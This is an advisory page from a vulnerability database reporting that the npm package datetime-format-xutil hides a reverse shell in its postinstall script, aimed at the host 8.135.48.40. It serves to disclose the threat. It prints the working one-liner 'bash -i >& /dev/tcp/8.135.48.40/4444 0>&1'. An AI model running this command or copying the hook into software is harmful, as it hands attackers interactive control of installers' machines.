MAL-2026-13936

    Dashboard / Malicious Package / MAL-2026-13936

    MAL-2026-13936

    Published: 13 Aug 2026Last Modified: 13 Aug 2026

    Summary: Malicious code in datetime-format-xutil (npm)

    Details: Source: amazon-inspector (677f98dffacde20a42bef500b1e5d3e3b4b27bdcd11d7d74aa398730d6643b24) The package advertises itself as a date-format utility but ships a postinstall.js that runs automatically via scripts.postinstall on npm install. The script opens a TCP connection to the hardcoded host 8.135.48.40:4444, spawns /bin/sh, and pipes the shell's stdio over the socket, with `bash -i >& /dev/tcp/8.135.48.40/4444 0>&1` and a python3 reverse-shell one-liner as fallbacks. On failure, error details are sent via plain-HTTP GET to http://8.135.48.40/shell/failed and /shell/error. The index.js date-format code is a cover; installing the package grants an interactive shell on the installer's host to the operator of 8.135.48.40.

    References: https://www.npmjs.com/package/datetime-format-xutil/v/1.0.0

    Affected packages

    Package

    Name: datetime-format-xutil

    Purl: pkg:npm/datetime-format-xutil

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0
    MAL-2026-13936 | CVE-DB